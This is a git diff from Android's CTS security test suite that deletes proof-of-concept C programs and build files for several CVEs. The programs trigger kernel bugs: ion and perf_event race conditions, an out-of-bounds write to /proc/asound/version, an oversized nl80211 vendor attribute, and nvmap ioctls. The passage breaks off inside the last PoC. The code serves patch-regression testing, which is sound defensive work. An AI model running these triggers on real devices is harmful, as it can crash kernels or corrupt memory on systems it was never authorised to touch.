- VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
- /* define all vendor startup commands between 0x0 and 0x0FFF */
- VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
- VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
- /* define all GScan related commands between 0x1000 and 0x10FF */
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
- /* define all RTT related commands between 0x1100 and 0x11FF */
- ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
- ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
- /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
- ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
- ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
- /* define all wifi calling related commands between 0x1600 and 0x16FF */
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
- /* define all NAN related commands between 0x1700 and 0x17FF */
- ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
- ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
- /* define all packet filter related commands between 0x1800 and 0x18FF */
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
- /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
- BRCM_VENDOR_SCMD_UNSPEC,
- BRCM_VENDOR_SCMD_PRIV_STR,
- GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
- GSCAN_SUBCMD_SET_CONFIG,
- GSCAN_SUBCMD_SET_SCAN_CONFIG,
- GSCAN_SUBCMD_ENABLE_GSCAN,
- GSCAN_SUBCMD_GET_SCAN_RESULTS,
- GSCAN_SUBCMD_SCAN_RESULTS,
- GSCAN_SUBCMD_SET_HOTLIST,
- GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
- GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
- GSCAN_SUBCMD_GET_CHANNEL_LIST,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
- ANDR_WIFI_RANDOM_MAC_OUI,
- ANDR_WIFI_NODFS_CHANNELS,
- ANDR_WIFI_SET_COUNTRY,
- GSCAN_SUBCMD_SET_EPNO_SSID,
- WIFI_SUBCMD_SET_SSID_WHITELIST,
- WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
- WIFI_SUBCMD_ENABLE_LAZY_ROAM,
- WIFI_SUBCMD_SET_BSSID_PREF,
- WIFI_SUBCMD_SET_BSSID_BLACKLIST,
- GSCAN_SUBCMD_ANQPO_CONFIG,
- WIFI_SUBCMD_SET_RSSI_MONITOR,
- WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
- RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
- RTT_SUBCMD_CANCEL_CONFIG,
- RTT_SUBCMD_GETCAPABILITY,
- RTT_SUBCMD_GETAVAILCHANNEL,
- RTT_SUBCMD_SET_RESPONDER,
- RTT_SUBCMD_CANCEL_RESPONDER,
- LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
- DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
- DEBUG_TRIGGER_MEM_DUMP,
- DEBUG_GET_MEM_DUMP,
- DEBUG_GET_VER,
- DEBUG_GET_RING_STATUS,
- DEBUG_GET_RING_DATA,
- DEBUG_GET_FEATURE,
- DEBUG_RESET_LOGGING,
- DEBUG_TRIGGER_DRIVER_MEM_DUMP,
- DEBUG_GET_DRIVER_MEM_DUMP,
- DEBUG_START_PKT_FATE_MONITORING,
- DEBUG_GET_TX_PKT_FATES,
- DEBUG_GET_RX_PKT_FATES,
- DEBUG_GET_WAKE_REASON_STATS,
- WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
- WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
- APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
- APF_SUBCMD_SET_FILTER,
- /* Add more sub commands here */
- VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID 80
-#define GSCAN_ATTRIBUTE_NUM_WL_SSID 81
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM 84
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
- wifi_channel_width_t width;
- wifi_channel center_freq; /* primary 20 MHz channel */
- wifi_channel center_freq0; /* center freq (MHz) first segment */
- wifi_channel
- center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
-#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
-#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
-
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version) {
- struct nl_msg *msg;
- int ret = -1;
- unsigned char dst[ETH_ALEN];
- struct nlattr *rret;
- struct nlattr *rret2;
- struct nlattr *rret3;
- struct nlattr *rret4;
- unsigned char buf_test[256];
-
- int i = 0;
-
- wifi_channel_info_t c_info;
-
- unsigned char hb_params[512];
-#define DOT11_MAX_SSID_LEN 32
- unsigned char SSID11[DOT11_MAX_SSID_LEN];
- struct nl80211_sta_flag_update flags;
- msg = nlmsg_alloc();
- int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
- genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
- nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_ANQPO_CONFIG);
-
- rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
- if (!rret) {
- return 1;
- }
-
- nla_put_u32(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE, 1);
-
- rret2 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
-
- if (!rret2) {
- return 1;
- }
-
- for (i = 0; i < 4; ++i) {
- rret3 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
-
- if (!rret3) {
- return 1;
- }
-
- nla_put(msg, GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM, 256, &buf_test);
- nla_nest_end(msg, rret3);
- }
-
- nla_nest_end(msg, rret2);
-
- nla_nest_end(msg, rret);
-
- ret = nl_send_auto_complete(nl_sk, msg);
-
- return 0;
-}
-
-#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
- int fd = 0;
- int i = 0;
- int j = 0;
- int ret = 0;
- char *mem;
- int family_id = 0;
- struct audio_cal_basic *acb;
- struct sockaddr_nl saddr;
- int test = 0x1234;
-
- gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
- setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
- setuid(2000);
-
- nl_sk = nl_socket_alloc();
- ret = genl_connect(nl_sk);
- if (ret != 0) {
- return -1;
- }
-
- family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
- ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
- return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
deleted file mode 100644
index 350e283..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-9120
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-incompatible-pointer-types
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c b/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
deleted file mode 100644
index c03ee45..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
+++ /dev/null
@@ -1,175 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <errno.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <stdio.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <unistd.h>
-#include <sched.h>
-
-typedef int ion_user_handle_t;
-
-enum ion_heap_type {
- ION_HEAP_TYPE_SYSTEM,
- ION_HEAP_TYPE_SYSTEM_CONTIG,
- ION_HEAP_TYPE_CARVEOUT,
- ION_HEAP_TYPE_CHUNK,
- ION_HEAP_TYPE_DMA,
- ION_HEAP_TYPE_CUSTOM, /* must be last so device specific heaps always
- are at the end of this enum */
- ION_NUM_HEAPS = 16,
-};
-
-#define ION_HEAP_SYSTEM_MASK (1 << ION_HEAP_TYPE_SYSTEM)
-#define ION_HEAP_SYSTEM_CONTIG_MASK (1 << ION_HEAP_TYPE_SYSTEM_CONTIG)
-#define ION_HEAP_CARVEOUT_MASK (1 << ION_HEAP_TYPE_CARVEOUT)
-#define ION_HEAP_TYPE_DMA_MASK (1 << ION_HEAP_TYPE_DMA)
-
-#define ION_NUM_HEAP_IDS sizeof(unsigned int) * 8
-
-struct ion_allocation_data {
- size_t len;
- size_t align;
- unsigned int heap_id_mask;
- unsigned int flags;
- ion_user_handle_t handle;
-};
-
-
-struct ion_fd_data {
- ion_user_handle_t handle;
- int fd;
-};
-
-
-struct ion_handle_data {
- ion_user_handle_t handle;
-};
-
-
-struct ion_custom_data {
- unsigned int cmd;
- unsigned long arg;
-};
-#define ION_IOC_MAGIC 'I'
-
-#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \
- struct ion_allocation_data)
-
-#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
-
-
-#define ION_FLAG_CACHED 1 /* mappings of this buffer should be
- cached, ion will do cache
- maintenance when the buffer is
- mapped for dma */
-#define ION_FLAG_CACHED_NEEDS_SYNC 2 /* mappings of this buffer will created
- at mmap time, if this is set
- caches must be managed manually */
-
-int g_fd = -1;
-struct ion_allocation_data* g_allocation = NULL;
-struct ion_handle_data g_free_data;
-static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
-static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
-
-int open_driver() {
- char* dev_path = "/dev/ion";
- g_fd = open(dev_path, O_RDONLY);
- if (g_fd < 0) {
- printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
- } else {
- printf("[*] open file(%s) succ!\n", dev_path);
- }
- return g_fd;
-}
-
-void prepare_data() {
- void* data = malloc(0x1000);
-
- g_allocation = (struct ion_allocation_data*)data;
-
- g_allocation->len = 0x1000;
- g_allocation->align = 8;
- g_allocation->heap_id_mask = 1 << 25;
- g_allocation->flags = ION_FLAG_CACHED;
- g_allocation->handle = -1;
-
- mprotect(data, 0x1000, PROT_READ);
- printf("[*] mprotect, error = %d\n", errno);
-
- g_free_data.handle = 1;
-}
-
-void trigger_ion_alloc() {
- ioctl(g_fd, ION_IOC_ALLOC, g_allocation);
-}
-
-void trigger_ion_free() {
- ioctl(g_fd, ION_IOC_FREE, &g_free_data);
-}
-
-void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
- setpriority(PRIO_PROCESS, gettid(), privi);
-
- /* bind process to a CPU*/
- if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
- }
-}
-void* race_thread(void* arg) {
- setup_privi_and_affinity(-19, 2);
- while (1) {
- pthread_mutex_lock(&mutex);
- pthread_cond_wait(&cond, &mutex);
- trigger_ion_free();
- pthread_mutex_unlock(&mutex);
- }
-
-}
-
-
-int main(int argc, char**argv) {
- if (open_driver() < 0) {
- return -1;
- }
- setup_privi_and_affinity(0, 1);
- prepare_data();
- pthread_t tid;
- pthread_create(&tid, NULL, race_thread, NULL);
- sleep(1);
- while (1) {
- pthread_cond_signal(&cond);
- usleep(100);
- trigger_ion_alloc();
- sleep(1);
- }
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
deleted file mode 100644
index 4addb61..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0403
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-format -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
deleted file mode 100644
index 51095e7..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
+++ /dev/null
@@ -1,233 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-//overwrite object+0x20,like a list initilize
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <sys/wait.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-
-
-struct perf_event_attr {
-
- /*
- * Major type: hardware/software/tracepoint/etc.
- */
- __u32 type;
-
- /*
- * Size of the attr structure, for fwd/bwd compat.
- */
- __u32 size;
-
- /*
- * Type specific configuration information.
- */
- __u64 config;
-
- union {
- __u64 sample_period;
- __u64 sample_freq;
- };
-
- __u64 sample_type;
- __u64 read_format;
-
- __u64 disabled : 1, /* off by default */
- inherit : 1, /* children inherit it */
- pinned : 1, /* must always be on PMU */
- exclusive : 1, /* only group on PMU */
- exclude_user : 1, /* don't count user */
- exclude_kernel : 1, /* ditto kernel */
- exclude_hv : 1, /* ditto hypervisor */
- exclude_idle : 1, /* don't count when idle */
- mmap : 1, /* include mmap data */
- comm : 1, /* include comm data */
- freq : 1, /* use freq, not period */
- inherit_stat : 1, /* per task counts */
- enable_on_exec : 1, /* next exec enables */
- task : 1, /* trace fork/exit */
- watermark : 1, /* wakeup_watermark */
- /*
- * precise_ip:
- *
- * 0 - SAMPLE_IP can have arbitrary skid
- * 1 - SAMPLE_IP must have constant skid
- * 2 - SAMPLE_IP requested to have 0 skid
- * 3 - SAMPLE_IP must have 0 skid
- *
- * See also PERF_RECORD_MISC_EXACT_IP
- */
- precise_ip : 2, /* skid constraint */
- mmap_data : 1, /* non-exec mmap data */
- sample_id_all : 1, /* sample_type all events */
-
- exclude_host : 1, /* don't count in host */
- exclude_guest : 1, /* don't count in guest */
-
- exclude_callchain_kernel : 1, /* exclude kernel callchains */
- exclude_callchain_user : 1, /* exclude user callchains */
- constraint_duplicate : 1,
-
- __reserved_1 : 40;
-
- union {
- __u32 wakeup_events; /* wakeup every n events */
- __u32 wakeup_watermark; /* bytes before wakeup */
- };
-
- __u32 bp_type;
- union {
- __u64 bp_addr;
- __u64 config1; /* extension of config */
- };
- union {
- __u64 bp_len;
- __u64 config2; /* extension of config1 */
- };
- __u64 branch_sample_type; /* enum perf_branch_sample_type */
-
- /*
- * Defines set of user regs to dump on samples.
- * See asm/perf_regs.h for details.
- */
- __u64 sample_regs_user;
-
- /*
- * Defines size of the user stack to dump on samples.
- */
- __u32 sample_stack_user;
-
- /* Align to u64. */
- __u32 __reserved_2;
-};
-
-
-#define PAIR_FD 1
-
-int group_fd[PAIR_FD],child_fd[PAIR_FD];
-
-long created = 0;
-long freed = 0;
-long finished = 0;
-
-void *thr(void *arg) {
- printf("id=%d arg=%d\n",gettid(),arg);
-
- int i;
- struct perf_event_attr attr;
-
- switch ((long)arg) {
- case 0:
- //#16123
- printf("thread 0\n");
- memset(&attr,0,sizeof(struct perf_event_attr));
- attr.type = 1;
- attr.size = sizeof(struct perf_event_attr);
- attr.config = 1;
-
- group_fd[0] = syscall(__NR_perf_event_open, &attr, 0x0ul, -1,
- -1, 0x1ul, 0);
-
- if(group_fd[0]<0){
- perror("perf-group:");
- }
-
-
- memset(&attr,0,sizeof(struct perf_event_attr));
- attr.type = 1;
- attr.size = sizeof(struct perf_event_attr);
- attr.config = 5;
-
- child_fd[0] = syscall(__NR_perf_event_open, &attr,0x0ul, 0x6ul, group_fd[0], 0x0ul, 0);
-
- if(group_fd[0]<0){
- perror("perf-child:");
- }
-
- created = 1;
- break;
- case 1:
-
- while(!created){
- sleep(1);
- }
-
- printf("thread 1\n");
- close(group_fd[0]);
-
- freed = 1;
-
- break;
- case 2:
-
- printf("thread 2\n");
-
- while(!freed){
- sleep(1);
- }
-
- close(child_fd[0]);
-
- finished = 1;
-
- break;
-
- }
- return 0;
-}
-
-int poc() {
- long i;
- pthread_t th[5];
- for (i = 0; i < 3; i++) {
- pthread_create(&th[i], 0, thr, (void *)i);
- usleep(10000);
- }
-
- while(!finished){
- sleep(1);
- }
-
- return 0;
-}
-
-
-int main(int argc, char const *argv[])
-{
- int pid;
- unsigned int times;
- times = 0;
- printf("POC3\n");
- printf("Please enable CONFIG_SLUB_DEBUG_ON and check the posion overwriten message in kernel\n");
- fflush(stdout);
-
- // while(1){
- pid = fork();
- if(pid){
- int status;
- int ret = waitpid(pid,&status,0);
-
- printf("[%d]times.\r",times);
- times++;
- }else
- return poc();
- // }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
deleted file mode 100644
index 47c4c71..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0404
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-constant-conversion
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
deleted file mode 100644
index 54821ef..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <sys/prctl.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <pthread.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <semaphore.h>
-#include <sys/socket.h>
-#include <sys/mman.h>
-#include <signal.h>
-#include <sys/wait.h>
-#include <sys/ioctl.h>
-#include <sys/utsname.h>
-#include <sys/ptrace.h>
-
-char buf[4096];
-
-int main(int argc, char const *argv[]){
- memset(buf, 0xa0, sizeof(buf));
-
- int fd = open("/proc/asound/version", O_RDWR);
- if(fd != -1){
- lseek(fd, 0x1234567800000000, SEEK_SET);
- write(fd, buf, sizeof(buf));
- }else{
- perror("open error\n");
- }
- close(fd);
- return 0;
-}
\ No newline at end of file
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
deleted file mode 100644
index ec6d5bf..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0429
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
deleted file mode 100644
index 4ef1b3e..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
+++ /dev/null
@@ -1,179 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <unistd.h>
-// for syscall
-#include <sys/syscall.h>
-// for futex
-#include <linux/futex.h>
-#include <sys/time.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-
-#define NVMAP_IOC_MAGIC 'N'
-struct nvmap_create_handle {
- union {
- __u32 id; /* FromId */
- __u32 size; /* CreateHandle */
- __s32 fd; /* DmaBufFd or FromFd */
- };
- __u32 handle; /* returns nvmap handle */
-};
-#define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
-
-struct nvmap_alloc_handle {
- __u32 handle; /* nvmap handle */
- __u32 heap_mask; /* heaps to allocate from */
- __u32 flags; /* wb/wc/uc/iwb etc. */
- __u32 align; /* min alignment necessary */
-};
-#define NVMAP_IOC_ALLOC _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
-
-static int set_affinity(int num)
-{
- int ret = 0;
- cpu_set_t mask;
- CPU_ZERO(&mask);
- CPU_SET(num, &mask);
